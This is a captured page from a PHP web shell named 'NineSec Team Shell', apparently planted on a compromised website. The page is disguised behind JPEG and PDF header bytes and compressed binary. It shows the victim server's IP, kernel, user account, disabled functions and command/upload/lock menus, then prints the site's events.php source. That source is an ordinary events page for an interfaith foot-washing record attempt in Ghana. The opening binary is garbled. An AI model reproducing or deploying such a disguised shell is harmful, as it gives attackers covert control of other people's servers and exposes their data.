JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: unlink(test.txt): No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/princess.uaeclick.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/princess.uaeclick.com/public_html/events.php
<?php 

// Include necessary files
require_once 'config/database.php';
include 'includes/header.php';

// Fetch events from database
$events = [];
try {
    $stmt = $pdo->query("SELECT * FROM events ORDER BY event_date ASC");
    $events = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (PDOException $e) {
    $error = "Unable to load events. Please try again later.";
}
?>

<section class="section">
    <div class="container">
        <h2 class="section-title">Upcoming Events</h2>
        
        <?php if (isset($error)): ?>
            <div class="card" style="background-color: #ffebee; color: #c62828; padding: 20px;">
                <?php echo $error; ?>
            </div>
        <?php endif; ?>
        
        <?php if (empty($events)): ?>
            <div class="card">
                <h3>World Record Foot Washing Ceremony</h3>
                <p><strong>Date:</strong> March 15, 2024 at 10:00 AM</p>
                <p><strong>Location:</strong> Accra, Ghana</p>
                <p><strong>Participants Needed:</strong> 14,000 (7,000 Christians + 7,000 Muslims)</p>
                <p>Join us for the historic interfaith foot washing ceremony where we aim to break the Guinness World Record for "Most people washing their feet" which currently stands at 10,289 participants.</p>
                <p>This event will bring together people from different faiths in a powerful demonstration of unity, love, and healing.</p>
                
                <?php if (isset($_SESSION['user_id'])): ?>
                    <a href="register_event.php?event_id=1" class="btn btn-primary">Register for this Event</a>
                <?php else: ?>
                    <p>Please <a href="register.php">register an account</a> or <a href="login.php">login</a> to register for this event.</p>
                <?php endif; ?>
            </div>
            
            <div class="card">
                <h3>Pre-Event Prayer Sessions</h3>
                <p><strong>Date:</strong> Every Sunday until main event</p>
                <p><strong>Location:</strong> Various locations across Ghana</p>
                <p>Join our weekly prayer sessions leading up to the main event. These sessions will prepare participants spiritually for the world record attempt.</p>
            </div>
            
        <?php else: ?>
        <?php foreach ($events as $event): ?>
            <div class="card">
                <h3><?php echo htmlspecialchars($event['title']); ?></h3>
                <p><strong>Date:</strong> <?php echo date('F j, Y g:i A', strtotime($event['event_date'])); ?></p>
                <p><strong>Location:</strong> <?php echo htmlspecialchars($event['location']); ?></p>
                <p><?php echo htmlspecialchars(substr($event['description'], 0, 150)); ?>...</p>
                
                <div style="display: flex; gap: 10px; margin-top: 20px;">
                    <a href="event.php?id=<?php echo $event['id']; ?>" class="btn">View Details</a>
                    
                    <?php if (isset($_SESSION['user_id'])): ?>
                        <a href="register_event.php?event_id=<?php echo $event['id']; ?>" class="btn btn-primary">Register Now</a>
                    <?php else: ?>
                        <a href="login.php" class="btn btn-primary">Login to Register</a>
                    <?php endif; ?>
                </div>
            </div>
        <?php endforeach; ?>
        <?php endif; ?>
        
        <div class="card" style="text-align: center; margin-top: 30px;">
            <h3>Can't find what you're looking for?</h3>
            <p>Contact us for more information about upcoming events.</p>
            <a href="contact.php" class="btn btn-primary">Contact Us</a>
        </div>
    </div>
</section>

<?php include 'includes/footer.php'; ?>

NineSec Team - 2022